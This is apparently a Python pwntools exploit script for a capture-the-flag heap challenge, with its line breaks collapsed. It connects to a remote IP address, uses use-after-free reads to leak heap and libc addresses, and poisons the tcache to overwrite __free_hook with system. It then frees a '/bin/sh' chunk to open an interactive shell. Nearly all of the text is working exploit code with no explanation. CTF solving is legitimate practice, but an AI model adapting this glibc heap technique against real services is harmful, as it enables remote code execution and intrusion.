1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import *
binary = "./main" lib = "./libc-2.27.so"
p = remote("113.201.14.253","") elf = ELF(binary) libc = ELF(lib)
s = lambda buf: p.send(buf) sl = lambda buf: p.sendline(buf) sa = lambda delim, buf: p.sendafter(delim, buf) sal = lambda delim, buf: p.sendlineafter(delim, buf) sh = lambda: p.interactive() r = lambda n=None: p.recv(n) ra = lambda t=tube.forever:p.recvall(t) ru = lambda delim: p.recvuntil(delim) rl = lambda: p.recvline() rls = lambda n=2**20: p.recvlines(n)
def add(id,size,content): sal(">>\n","1") sal("idx?\n",str(id)) sal("size?\n",str(size)) sa("content?\n",content) def resetSize(id): sal(">>\n","1") sal("idx?\n",str(id)) sal("size?\n",str(0x450)) def edit(id,size,content): sal(">>\n","3") sal("idx?\n",str(id)) sal("size?\n",str(size)) sa("content?\n",content) def free(id): sal(">>\n","2") sal("idx?\n",str(id)) def show(id): sal(">>\n","4") sal("idx?\n",str(id))
add(0,0x88,"A") add(1,0x88,"A") free(0) free(1) add(0,0x88,"A") show(0) ru(": ") heap = u64(r(6)+"\x00\x00") - 0x241 info("heap => 0x%x"%heap) add(0,0x88,"A")
for _ in range(8): add(_,0x88,"A") for _ in range(7): free(7-_) free(0) add(0,0x18,"A") show(0) libc.address = u64(ru("\x7f")[-6:]+"\x00\x00")-257-0x10 - libc.sym["__malloc_hook"] info("libc base => 0x%x"%libc.address)
for _ in range(7): add(0,0x88,"A") add(0,0x68,"A")
add(0,0x18,"A") add(1,0x18,"B") add(2,0x18,"C") add(3,0x18,"C")
resetSize(0) free(2) free(1) payload = "" payload += p64(0)*3 payload += p64(0x21) payload += p64(libc.sym["__free_hook"]-8) edit(0,0x40,payload)
add(0,0x18,"A") add(0,0x18,"/bin/sh\x00"+p64(libc.sym["system"])) free(0) sh()
|